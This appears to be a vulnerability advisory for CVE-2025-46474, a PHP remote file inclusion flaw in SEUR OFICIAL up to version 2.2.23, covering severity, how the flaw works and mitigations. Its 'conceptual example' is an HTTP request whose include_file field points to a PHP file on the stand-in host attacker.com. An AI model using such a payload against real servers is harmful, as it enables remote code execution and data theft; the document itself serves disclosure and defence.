Overview
The cybersecurity landscape is continuously evolving, with new vulnerabilities being discovered almost daily. One such vulnerability is CVE-2025-46474, a PHP Remote File Inclusion vulnerability found in SEUR OFICIAL. This vulnerability affects SEUR OFICIAL versions up to 2.2.23. It’s a severe issue, scoring an 8.1 on the Common Vulnerability Scoring System (CVSS), a standardized method for rating IT vulnerabilities. If exploited, this vulnerability could lead to system compromise or data leakage, posing a significant threat to the security of affected systems.
Vulnerability Summary
CVE ID: CVE-2025-46474
Severity: High (8.1 on the CVSS scale)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage
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Product | Affected Versions
SEUR OFICIAL | Up to 2.2.23
How the Exploit Works
The vulnerability resides in the improper control of filename for Include/Require statement in PHP Program. An attacker can exploit this vulnerability by sending a specially crafted HTTP request that includes a malicious file from a remote server. The attacker-controlled file is included and executed in the context of the application, leading to remote code execution.
Conceptual Example Code
Below is a conceptual example of how this vulnerability might be exploited. In this example, the attacker crafts a POST request to the vulnerable endpoint, including a malicious payload in the form of a remote file path.
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include_file": "http://attacker.com/malicious_file.php" }In this example, `http://attacker.com/malicious_file.php` is a PHP file controlled by the attacker, containing malicious code. When the server processes this request, it includes and executes the malicious file, leading to a potential system compromise or data leakage.
Mitigation
To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used as a temporary mitigation measure. These systems can help to detect and block attempts to exploit this vulnerability. Besides, it is good practice to avoid using user-controllable input without proper validation in Include/Require statements in PHP programs.